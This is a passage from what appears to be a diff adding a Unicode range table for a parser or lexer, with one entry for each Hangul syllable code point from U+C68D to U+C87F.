+ ["\uC68D", "\uC68D"], /* Hangul Syllable */
+ ["\uC68E", "\uC68E"], /* Hangul Syllable */
+ ["\uC68F", "\uC68F"], /* Hangul Syllable */
+ ["\uC690", "\uC690"], /* Hangul Syllable */
+ ["\uC691", "\uC691"], /* Hangul Syllable */
+ ["\uC692", "\uC692"], /* Hangul Syllable */
+ ["\uC693", "\uC693"], /* Hangul Syllable */
+ ["\uC694", "\uC694"], /* Hangul Syllable */
+ ["\uC695", "\uC695"], /* Hangul Syllable */
+ ["\uC696", "\uC696"], /* Hangul Syllable */
+ ["\uC697", "\uC697"], /* Hangul Syllable */
+ ["\uC698", "\uC698"], /* Hangul Syllable */
+ ["\uC699", "\uC699"], /* Hangul Syllable */
+ ["\uC69A", "\uC69A"], /* Hangul Syllable */
+ ["\uC69B", "\uC69B"], /* Hangul Syllable */
+ ["\uC69C", "\uC69C"], /* Hangul Syllable */
+ ["\uC69D", "\uC69D"], /* Hangul Syllable */
+ ["\uC69E", "\uC69E"], /* Hangul Syllable */
+ ["\uC69F", "\uC69F"], /* Hangul Syllable */
+ ["\uC6A0", "\uC6A0"], /* Hangul Syllable */
+ ["\uC6A1", "\uC6A1"], /* Hangul Syllable */
+ ["\uC6A2", "\uC6A2"], /* Hangul Syllable */
+ ["\uC6A3", "\uC6A3"], /* Hangul Syllable */
+ ["\uC6A4", "\uC6A4"], /* Hangul Syllable */
+ ["\uC6A5", "\uC6A5"], /* Hangul Syllable */
+ ["\uC6A6", "\uC6A6"], /* Hangul Syllable */
+ ["\uC6A7", "\uC6A7"], /* Hangul Syllable */
+ ["\uC6A8", "\uC6A8"], /* Hangul Syllable */
+ ["\uC6A9", "\uC6A9"], /* Hangul Syllable */
+ ["\uC6AA", "\uC6AA"], /* Hangul Syllable */
+ ["\uC6AB", "\uC6AB"], /* Hangul Syllable */
+ ["\uC6AC", "\uC6AC"], /* Hangul Syllable */
+ ["\uC6AD", "\uC6AD"], /* Hangul Syllable */
+ ["\uC6AE", "\uC6AE"], /* Hangul Syllable */
+ ["\uC6AF", "\uC6AF"], /* Hangul Syllable */
+ ["\uC6B0", "\uC6B0"], /* Hangul Syllable */
+ ["\uC6B1", "\uC6B1"], /* Hangul Syllable */
+ ["\uC6B2", "\uC6B2"], /* Hangul Syllable */
+ ["\uC6B3", "\uC6B3"], /* Hangul Syllable */
+ ["\uC6B4", "\uC6B4"], /* Hangul Syllable */
+ ["\uC6B5", "\uC6B5"], /* Hangul Syllable */
+ ["\uC6B6", "\uC6B6"], /* Hangul Syllable */
+ ["\uC6B7", "\uC6B7"], /* Hangul Syllable */
+ ["\uC6B8", "\uC6B8"], /* Hangul Syllable */
+ ["\uC6B9", "\uC6B9"], /* Hangul Syllable */
+ ["\uC6BA", "\uC6BA"], /* Hangul Syllable */
+ ["\uC6BB", "\uC6BB"], /* Hangul Syllable */
+ ["\uC6BC", "\uC6BC"], /* Hangul Syllable */
+ ["\uC6BD", "\uC6BD"], /* Hangul Syllable */
+ ["\uC6BE", "\uC6BE"], /* Hangul Syllable */
+ ["\uC6BF", "\uC6BF"], /* Hangul Syllable */
+ ["\uC6C0", "\uC6C0"], /* Hangul Syllable */
+ ["\uC6C1", "\uC6C1"], /* Hangul Syllable */
+ ["\uC6C2", "\uC6C2"], /* Hangul Syllable */
+ ["\uC6C3", "\uC6C3"], /* Hangul Syllable */
+ ["\uC6C4", "\uC6C4"], /* Hangul Syllable */
+ ["\uC6C5", "\uC6C5"], /* Hangul Syllable */
+ ["\uC6C6", "\uC6C6"], /* Hangul Syllable */
+ ["\uC6C7", "\uC6C7"], /* Hangul Syllable */
+ ["\uC6C8", "\uC6C8"], /* Hangul Syllable */
+ ["\uC6C9", "\uC6C9"], /* Hangul Syllable */
+ ["\uC6CA", "\uC6CA"], /* Hangul Syllable */
+ ["\uC6CB", "\uC6CB"], /* Hangul Syllable */
+ ["\uC6CC", "\uC6CC"], /* Hangul Syllable */
+ ["\uC6CD", "\uC6CD"], /* Hangul Syllable */
+ ["\uC6CE", "\uC6CE"], /* Hangul Syllable */
+ ["\uC6CF", "\uC6CF"], /* Hangul Syllable */
+ ["\uC6D0", "\uC6D0"], /* Hangul Syllable */
+ ["\uC6D1", "\uC6D1"], /* Hangul Syllable */
+ ["\uC6D2", "\uC6D2"], /* Hangul Syllable */
+ ["\uC6D3", "\uC6D3"], /* Hangul Syllable */
+ ["\uC6D4", "\uC6D4"], /* Hangul Syllable */
+ ["\uC6D5", "\uC6D5"], /* Hangul Syllable */
+ ["\uC6D6", "\uC6D6"], /* Hangul Syllable */
+ ["\uC6D7", "\uC6D7"], /* Hangul Syllable */
+ ["\uC6D8", "\uC6D8"], /* Hangul Syllable */
+ ["\uC6D9", "\uC6D9"], /* Hangul Syllable */
+ ["\uC6DA", "\uC6DA"], /* Hangul Syllable */
+ ["\uC6DB", "\uC6DB"], /* Hangul Syllable */
+ ["\uC6DC", "\uC6DC"], /* Hangul Syllable */
+ ["\uC6DD", "\uC6DD"], /* Hangul Syllable */
+ ["\uC6DE", "\uC6DE"], /* Hangul Syllable */
+ ["\uC6DF", "\uC6DF"], /* Hangul Syllable */
+ ["\uC6E0", "\uC6E0"], /* Hangul Syllable */
+ ["\uC6E1", "\uC6E1"], /* Hangul Syllable */
+ ["\uC6E2", "\uC6E2"], /* Hangul Syllable */
+ ["\uC6E3", "\uC6E3"], /* Hangul Syllable */
+ ["\uC6E4", "\uC6E4"], /* Hangul Syllable */
+ ["\uC6E5", "\uC6E5"], /* Hangul Syllable */
+ ["\uC6E6", "\uC6E6"], /* Hangul Syllable */
+ ["\uC6E7", "\uC6E7"], /* Hangul Syllable */
+ ["\uC6E8", "\uC6E8"], /* Hangul Syllable */
+ ["\uC6E9", "\uC6E9"], /* Hangul Syllable */
+ ["\uC6EA", "\uC6EA"], /* Hangul Syllable */
+ ["\uC6EB", "\uC6EB"], /* Hangul Syllable */
+ ["\uC6EC", "\uC6EC"], /* Hangul Syllable */
+ ["\uC6ED", "\uC6ED"], /* Hangul Syllable */
+ ["\uC6EE", "\uC6EE"], /* Hangul Syllable */
+ ["\uC6EF", "\uC6EF"], /* Hangul Syllable */
+ ["\uC6F0", "\uC6F0"], /* Hangul Syllable */
+ ["\uC6F1", "\uC6F1"], /* Hangul Syllable */
+ ["\uC6F2", "\uC6F2"], /* Hangul Syllable */
+ ["\uC6F3", "\uC6F3"], /* Hangul Syllable */
+ ["\uC6F4", "\uC6F4"], /* Hangul Syllable */
+ ["\uC6F5", "\uC6F5"], /* Hangul Syllable */
+ ["\uC6F6", "\uC6F6"], /* Hangul Syllable */
+ ["\uC6F7", "\uC6F7"], /* Hangul Syllable */
+ ["\uC6F8", "\uC6F8"], /* Hangul Syllable */
+ ["\uC6F9", "\uC6F9"], /* Hangul Syllable */
+ ["\uC6FA", "\uC6FA"], /* Hangul Syllable */
+ ["\uC6FB", "\uC6FB"], /* Hangul Syllable */
+ ["\uC6FC", "\uC6FC"], /* Hangul Syllable */
+ ["\uC6FD", "\uC6FD"], /* Hangul Syllable */
+ ["\uC6FE", "\uC6FE"], /* Hangul Syllable */
+ ["\uC6FF", "\uC6FF"], /* Hangul Syllable */
+ ["\uC700", "\uC700"], /* Hangul Syllable */
+ ["\uC701", "\uC701"], /* Hangul Syllable */
+ ["\uC702", "\uC702"], /* Hangul Syllable */
+ ["\uC703", "\uC703"], /* Hangul Syllable */
+ ["\uC704", "\uC704"], /* Hangul Syllable */
+ ["\uC705", "\uC705"], /* Hangul Syllable */
+ ["\uC706", "\uC706"], /* Hangul Syllable */
+ ["\uC707", "\uC707"], /* Hangul Syllable */
+ ["\uC708", "\uC708"], /* Hangul Syllable */
+ ["\uC709", "\uC709"], /* Hangul Syllable */
+ ["\uC70A", "\uC70A"], /* Hangul Syllable */
+ ["\uC70B", "\uC70B"], /* Hangul Syllable */
+ ["\uC70C", "\uC70C"], /* Hangul Syllable */
+ ["\uC70D", "\uC70D"], /* Hangul Syllable */
+ ["\uC70E", "\uC70E"], /* Hangul Syllable */
+ ["\uC70F", "\uC70F"], /* Hangul Syllable */
+ ["\uC710", "\uC710"], /* Hangul Syllable */
+ ["\uC711", "\uC711"], /* Hangul Syllable */
+ ["\uC712", "\uC712"], /* Hangul Syllable */
+ ["\uC713", "\uC713"], /* Hangul Syllable */
+ ["\uC714", "\uC714"], /* Hangul Syllable */
+ ["\uC715", "\uC715"], /* Hangul Syllable */
+ ["\uC716", "\uC716"], /* Hangul Syllable */
+ ["\uC717", "\uC717"], /* Hangul Syllable */
+ ["\uC718", "\uC718"], /* Hangul Syllable */
+ ["\uC719", "\uC719"], /* Hangul Syllable */
+ ["\uC71A", "\uC71A"], /* Hangul Syllable */
+ ["\uC71B", "\uC71B"], /* Hangul Syllable */
+ ["\uC71C", "\uC71C"], /* Hangul Syllable */
+ ["\uC71D", "\uC71D"], /* Hangul Syllable */
+ ["\uC71E", "\uC71E"], /* Hangul Syllable */
+ ["\uC71F", "\uC71F"], /* Hangul Syllable */
+ ["\uC720", "\uC720"], /* Hangul Syllable */
+ ["\uC721", "\uC721"], /* Hangul Syllable */
+ ["\uC722", "\uC722"], /* Hangul Syllable */
+ ["\uC723", "\uC723"], /* Hangul Syllable */
+ ["\uC724", "\uC724"], /* Hangul Syllable */
+ ["\uC725", "\uC725"], /* Hangul Syllable */
+ ["\uC726", "\uC726"], /* Hangul Syllable */
+ ["\uC727", "\uC727"], /* Hangul Syllable */
+ ["\uC728", "\uC728"], /* Hangul Syllable */
+ ["\uC729", "\uC729"], /* Hangul Syllable */
+ ["\uC72A", "\uC72A"], /* Hangul Syllable */
+ ["\uC72B", "\uC72B"], /* Hangul Syllable */
+ ["\uC72C", "\uC72C"], /* Hangul Syllable */
+ ["\uC72D", "\uC72D"], /* Hangul Syllable */
+ ["\uC72E", "\uC72E"], /* Hangul Syllable */
+ ["\uC72F", "\uC72F"], /* Hangul Syllable */
+ ["\uC730", "\uC730"], /* Hangul Syllable */
+ ["\uC731", "\uC731"], /* Hangul Syllable */
+ ["\uC732", "\uC732"], /* Hangul Syllable */
+ ["\uC733", "\uC733"], /* Hangul Syllable */
+ ["\uC734", "\uC734"], /* Hangul Syllable */
+ ["\uC735", "\uC735"], /* Hangul Syllable */
+ ["\uC736", "\uC736"], /* Hangul Syllable */
+ ["\uC737", "\uC737"], /* Hangul Syllable */
+ ["\uC738", "\uC738"], /* Hangul Syllable */
+ ["\uC739", "\uC739"], /* Hangul Syllable */
+ ["\uC73A", "\uC73A"], /* Hangul Syllable */
+ ["\uC73B", "\uC73B"], /* Hangul Syllable */
+ ["\uC73C", "\uC73C"], /* Hangul Syllable */
+ ["\uC73D", "\uC73D"], /* Hangul Syllable */
+ ["\uC73E", "\uC73E"], /* Hangul Syllable */
+ ["\uC73F", "\uC73F"], /* Hangul Syllable */
+ ["\uC740", "\uC740"], /* Hangul Syllable */
+ ["\uC741", "\uC741"], /* Hangul Syllable */
+ ["\uC742", "\uC742"], /* Hangul Syllable */
+ ["\uC743", "\uC743"], /* Hangul Syllable */
+ ["\uC744", "\uC744"], /* Hangul Syllable */
+ ["\uC745", "\uC745"], /* Hangul Syllable */
+ ["\uC746", "\uC746"], /* Hangul Syllable */
+ ["\uC747", "\uC747"], /* Hangul Syllable */
+ ["\uC748", "\uC748"], /* Hangul Syllable */
+ ["\uC749", "\uC749"], /* Hangul Syllable */
+ ["\uC74A", "\uC74A"], /* Hangul Syllable */
+ ["\uC74B", "\uC74B"], /* Hangul Syllable */
+ ["\uC74C", "\uC74C"], /* Hangul Syllable */
+ ["\uC74D", "\uC74D"], /* Hangul Syllable */
+ ["\uC74E", "\uC74E"], /* Hangul Syllable */
+ ["\uC74F", "\uC74F"], /* Hangul Syllable */
+ ["\uC750", "\uC750"], /* Hangul Syllable */
+ ["\uC751", "\uC751"], /* Hangul Syllable */
+ ["\uC752", "\uC752"], /* Hangul Syllable */
+ ["\uC753", "\uC753"], /* Hangul Syllable */
+ ["\uC754", "\uC754"], /* Hangul Syllable */
+ ["\uC755", "\uC755"], /* Hangul Syllable */
+ ["\uC756", "\uC756"], /* Hangul Syllable */
+ ["\uC757", "\uC757"], /* Hangul Syllable */
+ ["\uC758", "\uC758"], /* Hangul Syllable */
+ ["\uC759", "\uC759"], /* Hangul Syllable */
+ ["\uC75A", "\uC75A"], /* Hangul Syllable */
+ ["\uC75B", "\uC75B"], /* Hangul Syllable */
+ ["\uC75C", "\uC75C"], /* Hangul Syllable */
+ ["\uC75D", "\uC75D"], /* Hangul Syllable */
+ ["\uC75E", "\uC75E"], /* Hangul Syllable */
+ ["\uC75F", "\uC75F"], /* Hangul Syllable */
+ ["\uC760", "\uC760"], /* Hangul Syllable */
+ ["\uC761", "\uC761"], /* Hangul Syllable */
+ ["\uC762", "\uC762"], /* Hangul Syllable */
+ ["\uC763", "\uC763"], /* Hangul Syllable */
+ ["\uC764", "\uC764"], /* Hangul Syllable */
+ ["\uC765", "\uC765"], /* Hangul Syllable */
+ ["\uC766", "\uC766"], /* Hangul Syllable */
+ ["\uC767", "\uC767"], /* Hangul Syllable */
+ ["\uC768", "\uC768"], /* Hangul Syllable */
+ ["\uC769", "\uC769"], /* Hangul Syllable */
+ ["\uC76A", "\uC76A"], /* Hangul Syllable */
+ ["\uC76B", "\uC76B"], /* Hangul Syllable */
+ ["\uC76C", "\uC76C"], /* Hangul Syllable */
+ ["\uC76D", "\uC76D"], /* Hangul Syllable */
+ ["\uC76E", "\uC76E"], /* Hangul Syllable */
+ ["\uC76F", "\uC76F"], /* Hangul Syllable */
+ ["\uC770", "\uC770"], /* Hangul Syllable */
+ ["\uC771", "\uC771"], /* Hangul Syllable */
+ ["\uC772", "\uC772"], /* Hangul Syllable */
+ ["\uC773", "\uC773"], /* Hangul Syllable */
+ ["\uC774", "\uC774"], /* Hangul Syllable */
+ ["\uC775", "\uC775"], /* Hangul Syllable */
+ ["\uC776", "\uC776"], /* Hangul Syllable */
+ ["\uC777", "\uC777"], /* Hangul Syllable */
+ ["\uC778", "\uC778"], /* Hangul Syllable */
+ ["\uC779", "\uC779"], /* Hangul Syllable */
+ ["\uC77A", "\uC77A"], /* Hangul Syllable */
+ ["\uC77B", "\uC77B"], /* Hangul Syllable */
+ ["\uC77C", "\uC77C"], /* Hangul Syllable */
+ ["\uC77D", "\uC77D"], /* Hangul Syllable */
+ ["\uC77E", "\uC77E"], /* Hangul Syllable */
+ ["\uC77F", "\uC77F"], /* Hangul Syllable */
+ ["\uC780", "\uC780"], /* Hangul Syllable */
+ ["\uC781", "\uC781"], /* Hangul Syllable */
+ ["\uC782", "\uC782"], /* Hangul Syllable */
+ ["\uC783", "\uC783"], /* Hangul Syllable */
+ ["\uC784", "\uC784"], /* Hangul Syllable */
+ ["\uC785", "\uC785"], /* Hangul Syllable */
+ ["\uC786", "\uC786"], /* Hangul Syllable */
+ ["\uC787", "\uC787"], /* Hangul Syllable */
+ ["\uC788", "\uC788"], /* Hangul Syllable */
+ ["\uC789", "\uC789"], /* Hangul Syllable */
+ ["\uC78A", "\uC78A"], /* Hangul Syllable */
+ ["\uC78B", "\uC78B"], /* Hangul Syllable */
+ ["\uC78C", "\uC78C"], /* Hangul Syllable */
+ ["\uC78D", "\uC78D"], /* Hangul Syllable */
+ ["\uC78E", "\uC78E"], /* Hangul Syllable */
+ ["\uC78F", "\uC78F"], /* Hangul Syllable */
+ ["\uC790", "\uC790"], /* Hangul Syllable */
+ ["\uC791", "\uC791"], /* Hangul Syllable */
+ ["\uC792", "\uC792"], /* Hangul Syllable */
+ ["\uC793", "\uC793"], /* Hangul Syllable */
+ ["\uC794", "\uC794"], /* Hangul Syllable */
+ ["\uC795", "\uC795"], /* Hangul Syllable */
+ ["\uC796", "\uC796"], /* Hangul Syllable */
+ ["\uC797", "\uC797"], /* Hangul Syllable */
+ ["\uC798", "\uC798"], /* Hangul Syllable */
+ ["\uC799", "\uC799"], /* Hangul Syllable */
+ ["\uC79A", "\uC79A"], /* Hangul Syllable */
+ ["\uC79B", "\uC79B"], /* Hangul Syllable */
+ ["\uC79C", "\uC79C"], /* Hangul Syllable */
+ ["\uC79D", "\uC79D"], /* Hangul Syllable */
+ ["\uC79E", "\uC79E"], /* Hangul Syllable */
+ ["\uC79F", "\uC79F"], /* Hangul Syllable */
+ ["\uC7A0", "\uC7A0"], /* Hangul Syllable */
+ ["\uC7A1", "\uC7A1"], /* Hangul Syllable */
+ ["\uC7A2", "\uC7A2"], /* Hangul Syllable */
+ ["\uC7A3", "\uC7A3"], /* Hangul Syllable */
+ ["\uC7A4", "\uC7A4"], /* Hangul Syllable */
+ ["\uC7A5", "\uC7A5"], /* Hangul Syllable */
+ ["\uC7A6", "\uC7A6"], /* Hangul Syllable */
+ ["\uC7A7", "\uC7A7"], /* Hangul Syllable */
+ ["\uC7A8", "\uC7A8"], /* Hangul Syllable */
+ ["\uC7A9", "\uC7A9"], /* Hangul Syllable */
+ ["\uC7AA", "\uC7AA"], /* Hangul Syllable */
+ ["\uC7AB", "\uC7AB"], /* Hangul Syllable */
+ ["\uC7AC", "\uC7AC"], /* Hangul Syllable */
+ ["\uC7AD", "\uC7AD"], /* Hangul Syllable */
+ ["\uC7AE", "\uC7AE"], /* Hangul Syllable */
+ ["\uC7AF", "\uC7AF"], /* Hangul Syllable */
+ ["\uC7B0", "\uC7B0"], /* Hangul Syllable */
+ ["\uC7B1", "\uC7B1"], /* Hangul Syllable */
+ ["\uC7B2", "\uC7B2"], /* Hangul Syllable */
+ ["\uC7B3", "\uC7B3"], /* Hangul Syllable */
+ ["\uC7B4", "\uC7B4"], /* Hangul Syllable */
+ ["\uC7B5", "\uC7B5"], /* Hangul Syllable */
+ ["\uC7B6", "\uC7B6"], /* Hangul Syllable */
+ ["\uC7B7", "\uC7B7"], /* Hangul Syllable */
+ ["\uC7B8", "\uC7B8"], /* Hangul Syllable */
+ ["\uC7B9", "\uC7B9"], /* Hangul Syllable */
+ ["\uC7BA", "\uC7BA"], /* Hangul Syllable */
+ ["\uC7BB", "\uC7BB"], /* Hangul Syllable */
+ ["\uC7BC", "\uC7BC"], /* Hangul Syllable */
+ ["\uC7BD", "\uC7BD"], /* Hangul Syllable */
+ ["\uC7BE", "\uC7BE"], /* Hangul Syllable */
+ ["\uC7BF", "\uC7BF"], /* Hangul Syllable */
+ ["\uC7C0", "\uC7C0"], /* Hangul Syllable */
+ ["\uC7C1", "\uC7C1"], /* Hangul Syllable */
+ ["\uC7C2", "\uC7C2"], /* Hangul Syllable */
+ ["\uC7C3", "\uC7C3"], /* Hangul Syllable */
+ ["\uC7C4", "\uC7C4"], /* Hangul Syllable */
+ ["\uC7C5", "\uC7C5"], /* Hangul Syllable */
+ ["\uC7C6", "\uC7C6"], /* Hangul Syllable */
+ ["\uC7C7", "\uC7C7"], /* Hangul Syllable */
+ ["\uC7C8", "\uC7C8"], /* Hangul Syllable */
+ ["\uC7C9", "\uC7C9"], /* Hangul Syllable */
+ ["\uC7CA", "\uC7CA"], /* Hangul Syllable */
+ ["\uC7CB", "\uC7CB"], /* Hangul Syllable */
+ ["\uC7CC", "\uC7CC"], /* Hangul Syllable */
+ ["\uC7CD", "\uC7CD"], /* Hangul Syllable */
+ ["\uC7CE", "\uC7CE"], /* Hangul Syllable */
+ ["\uC7CF", "\uC7CF"], /* Hangul Syllable */
+ ["\uC7D0", "\uC7D0"], /* Hangul Syllable */
+ ["\uC7D1", "\uC7D1"], /* Hangul Syllable */
+ ["\uC7D2", "\uC7D2"], /* Hangul Syllable */
+ ["\uC7D3", "\uC7D3"], /* Hangul Syllable */
+ ["\uC7D4", "\uC7D4"], /* Hangul Syllable */
+ ["\uC7D5", "\uC7D5"], /* Hangul Syllable */
+ ["\uC7D6", "\uC7D6"], /* Hangul Syllable */
+ ["\uC7D7", "\uC7D7"], /* Hangul Syllable */
+ ["\uC7D8", "\uC7D8"], /* Hangul Syllable */
+ ["\uC7D9", "\uC7D9"], /* Hangul Syllable */
+ ["\uC7DA", "\uC7DA"], /* Hangul Syllable */
+ ["\uC7DB", "\uC7DB"], /* Hangul Syllable */
+ ["\uC7DC", "\uC7DC"], /* Hangul Syllable */
+ ["\uC7DD", "\uC7DD"], /* Hangul Syllable */
+ ["\uC7DE", "\uC7DE"], /* Hangul Syllable */
+ ["\uC7DF", "\uC7DF"], /* Hangul Syllable */
+ ["\uC7E0", "\uC7E0"], /* Hangul Syllable */
+ ["\uC7E1", "\uC7E1"], /* Hangul Syllable */
+ ["\uC7E2", "\uC7E2"], /* Hangul Syllable */
+ ["\uC7E3", "\uC7E3"], /* Hangul Syllable */
+ ["\uC7E4", "\uC7E4"], /* Hangul Syllable */
+ ["\uC7E5", "\uC7E5"], /* Hangul Syllable */
+ ["\uC7E6", "\uC7E6"], /* Hangul Syllable */
+ ["\uC7E7", "\uC7E7"], /* Hangul Syllable */
+ ["\uC7E8", "\uC7E8"], /* Hangul Syllable */
+ ["\uC7E9", "\uC7E9"], /* Hangul Syllable */
+ ["\uC7EA", "\uC7EA"], /* Hangul Syllable */
+ ["\uC7EB", "\uC7EB"], /* Hangul Syllable */
+ ["\uC7EC", "\uC7EC"], /* Hangul Syllable */
+ ["\uC7ED", "\uC7ED"], /* Hangul Syllable */
+ ["\uC7EE", "\uC7EE"], /* Hangul Syllable */
+ ["\uC7EF", "\uC7EF"], /* Hangul Syllable */
+ ["\uC7F0", "\uC7F0"], /* Hangul Syllable */
+ ["\uC7F1", "\uC7F1"], /* Hangul Syllable */
+ ["\uC7F2", "\uC7F2"], /* Hangul Syllable */
+ ["\uC7F3", "\uC7F3"], /* Hangul Syllable */
+ ["\uC7F4", "\uC7F4"], /* Hangul Syllable */
+ ["\uC7F5", "\uC7F5"], /* Hangul Syllable */
+ ["\uC7F6", "\uC7F6"], /* Hangul Syllable */
+ ["\uC7F7", "\uC7F7"], /* Hangul Syllable */
+ ["\uC7F8", "\uC7F8"], /* Hangul Syllable */
+ ["\uC7F9", "\uC7F9"], /* Hangul Syllable */
+ ["\uC7FA", "\uC7FA"], /* Hangul Syllable */
+ ["\uC7FB", "\uC7FB"], /* Hangul Syllable */
+ ["\uC7FC", "\uC7FC"], /* Hangul Syllable */
+ ["\uC7FD", "\uC7FD"], /* Hangul Syllable */
+ ["\uC7FE", "\uC7FE"], /* Hangul Syllable */
+ ["\uC7FF", "\uC7FF"], /* Hangul Syllable */
+ ["\uC800", "\uC800"], /* Hangul Syllable */
+ ["\uC801", "\uC801"], /* Hangul Syllable */
+ ["\uC802", "\uC802"], /* Hangul Syllable */
+ ["\uC803", "\uC803"], /* Hangul Syllable */
+ ["\uC804", "\uC804"], /* Hangul Syllable */
+ ["\uC805", "\uC805"], /* Hangul Syllable */
+ ["\uC806", "\uC806"], /* Hangul Syllable */
+ ["\uC807", "\uC807"], /* Hangul Syllable */
+ ["\uC808", "\uC808"], /* Hangul Syllable */
+ ["\uC809", "\uC809"], /* Hangul Syllable */
+ ["\uC80A", "\uC80A"], /* Hangul Syllable */
+ ["\uC80B", "\uC80B"], /* Hangul Syllable */
+ ["\uC80C", "\uC80C"], /* Hangul Syllable */
+ ["\uC80D", "\uC80D"], /* Hangul Syllable */
+ ["\uC80E", "\uC80E"], /* Hangul Syllable */
+ ["\uC80F", "\uC80F"], /* Hangul Syllable */
+ ["\uC810", "\uC810"], /* Hangul Syllable */
+ ["\uC811", "\uC811"], /* Hangul Syllable */
+ ["\uC812", "\uC812"], /* Hangul Syllable */
+ ["\uC813", "\uC813"], /* Hangul Syllable */
+ ["\uC814", "\uC814"], /* Hangul Syllable */
+ ["\uC815", "\uC815"], /* Hangul Syllable */
+ ["\uC816", "\uC816"], /* Hangul Syllable */
+ ["\uC817", "\uC817"], /* Hangul Syllable */
+ ["\uC818", "\uC818"], /* Hangul Syllable */
+ ["\uC819", "\uC819"], /* Hangul Syllable */
+ ["\uC81A", "\uC81A"], /* Hangul Syllable */
+ ["\uC81B", "\uC81B"], /* Hangul Syllable */
+ ["\uC81C", "\uC81C"], /* Hangul Syllable */
+ ["\uC81D", "\uC81D"], /* Hangul Syllable */
+ ["\uC81E", "\uC81E"], /* Hangul Syllable */
+ ["\uC81F", "\uC81F"], /* Hangul Syllable */
+ ["\uC820", "\uC820"], /* Hangul Syllable */
+ ["\uC821", "\uC821"], /* Hangul Syllable */
+ ["\uC822", "\uC822"], /* Hangul Syllable */
+ ["\uC823", "\uC823"], /* Hangul Syllable */
+ ["\uC824", "\uC824"], /* Hangul Syllable */
+ ["\uC825", "\uC825"], /* Hangul Syllable */
+ ["\uC826", "\uC826"], /* Hangul Syllable */
+ ["\uC827", "\uC827"], /* Hangul Syllable */
+ ["\uC828", "\uC828"], /* Hangul Syllable */
+ ["\uC829", "\uC829"], /* Hangul Syllable */
+ ["\uC82A", "\uC82A"], /* Hangul Syllable */
+ ["\uC82B", "\uC82B"], /* Hangul Syllable */
+ ["\uC82C", "\uC82C"], /* Hangul Syllable */
+ ["\uC82D", "\uC82D"], /* Hangul Syllable */
+ ["\uC82E", "\uC82E"], /* Hangul Syllable */
+ ["\uC82F", "\uC82F"], /* Hangul Syllable */
+ ["\uC830", "\uC830"], /* Hangul Syllable */
+ ["\uC831", "\uC831"], /* Hangul Syllable */
+ ["\uC832", "\uC832"], /* Hangul Syllable */
+ ["\uC833", "\uC833"], /* Hangul Syllable */
+ ["\uC834", "\uC834"], /* Hangul Syllable */
+ ["\uC835", "\uC835"], /* Hangul Syllable */
+ ["\uC836", "\uC836"], /* Hangul Syllable */
+ ["\uC837", "\uC837"], /* Hangul Syllable */
+ ["\uC838", "\uC838"], /* Hangul Syllable */
+ ["\uC839", "\uC839"], /* Hangul Syllable */
+ ["\uC83A", "\uC83A"], /* Hangul Syllable */
+ ["\uC83B", "\uC83B"], /* Hangul Syllable */
+ ["\uC83C", "\uC83C"], /* Hangul Syllable */
+ ["\uC83D", "\uC83D"], /* Hangul Syllable */
+ ["\uC83E", "\uC83E"], /* Hangul Syllable */
+ ["\uC83F", "\uC83F"], /* Hangul Syllable */
+ ["\uC840", "\uC840"], /* Hangul Syllable */
+ ["\uC841", "\uC841"], /* Hangul Syllable */
+ ["\uC842", "\uC842"], /* Hangul Syllable */
+ ["\uC843", "\uC843"], /* Hangul Syllable */
+ ["\uC844", "\uC844"], /* Hangul Syllable */
+ ["\uC845", "\uC845"], /* Hangul Syllable */
+ ["\uC846", "\uC846"], /* Hangul Syllable */
+ ["\uC847", "\uC847"], /* Hangul Syllable */
+ ["\uC848", "\uC848"], /* Hangul Syllable */
+ ["\uC849", "\uC849"], /* Hangul Syllable */
+ ["\uC84A", "\uC84A"], /* Hangul Syllable */
+ ["\uC84B", "\uC84B"], /* Hangul Syllable */
+ ["\uC84C", "\uC84C"], /* Hangul Syllable */
+ ["\uC84D", "\uC84D"], /* Hangul Syllable */
+ ["\uC84E", "\uC84E"], /* Hangul Syllable */
+ ["\uC84F", "\uC84F"], /* Hangul Syllable */
+ ["\uC850", "\uC850"], /* Hangul Syllable */
+ ["\uC851", "\uC851"], /* Hangul Syllable */
+ ["\uC852", "\uC852"], /* Hangul Syllable */
+ ["\uC853", "\uC853"], /* Hangul Syllable */
+ ["\uC854", "\uC854"], /* Hangul Syllable */
+ ["\uC855", "\uC855"], /* Hangul Syllable */
+ ["\uC856", "\uC856"], /* Hangul Syllable */
+ ["\uC857", "\uC857"], /* Hangul Syllable */
+ ["\uC858", "\uC858"], /* Hangul Syllable */
+ ["\uC859", "\uC859"], /* Hangul Syllable */
+ ["\uC85A", "\uC85A"], /* Hangul Syllable */
+ ["\uC85B", "\uC85B"], /* Hangul Syllable */
+ ["\uC85C", "\uC85C"], /* Hangul Syllable */
+ ["\uC85D", "\uC85D"], /* Hangul Syllable */
+ ["\uC85E", "\uC85E"], /* Hangul Syllable */
+ ["\uC85F", "\uC85F"], /* Hangul Syllable */
+ ["\uC860", "\uC860"], /* Hangul Syllable */
+ ["\uC861", "\uC861"], /* Hangul Syllable */
+ ["\uC862", "\uC862"], /* Hangul Syllable */
+ ["\uC863", "\uC863"], /* Hangul Syllable */
+ ["\uC864", "\uC864"], /* Hangul Syllable */
+ ["\uC865", "\uC865"], /* Hangul Syllable */
+ ["\uC866", "\uC866"], /* Hangul Syllable */
+ ["\uC867", "\uC867"], /* Hangul Syllable */
+ ["\uC868", "\uC868"], /* Hangul Syllable */
+ ["\uC869", "\uC869"], /* Hangul Syllable */
+ ["\uC86A", "\uC86A"], /* Hangul Syllable */
+ ["\uC86B", "\uC86B"], /* Hangul Syllable */
+ ["\uC86C", "\uC86C"], /* Hangul Syllable */
+ ["\uC86D", "\uC86D"], /* Hangul Syllable */
+ ["\uC86E", "\uC86E"], /* Hangul Syllable */
+ ["\uC86F", "\uC86F"], /* Hangul Syllable */
+ ["\uC870", "\uC870"], /* Hangul Syllable */
+ ["\uC871", "\uC871"], /* Hangul Syllable */
+ ["\uC872", "\uC872"], /* Hangul Syllable */
+ ["\uC873", "\uC873"], /* Hangul Syllable */
+ ["\uC874", "\uC874"], /* Hangul Syllable */
+ ["\uC875", "\uC875"], /* Hangul Syllable */
+ ["\uC876", "\uC876"], /* Hangul Syllable */
+ ["\uC877", "\uC877"], /* Hangul Syllable */
+ ["\uC878", "\uC878"], /* Hangul Syllable */
+ ["\uC879", "\uC879"], /* Hangul Syllable */
+ ["\uC87A", "\uC87A"], /* Hangul Syllable */
+ ["\uC87B", "\uC87B"], /* Hangul Syllable */
+ ["\uC87C", "\uC87C"], /* Hangul Syllable */
+ ["\uC87D", "\uC87D"], /* Hangul Syllable */
+ ["\uC87E", "\uC87E"], /* Hangul Syllable */
+ ["\uC87F", "\uC87F"], /* Hangul Syllable */
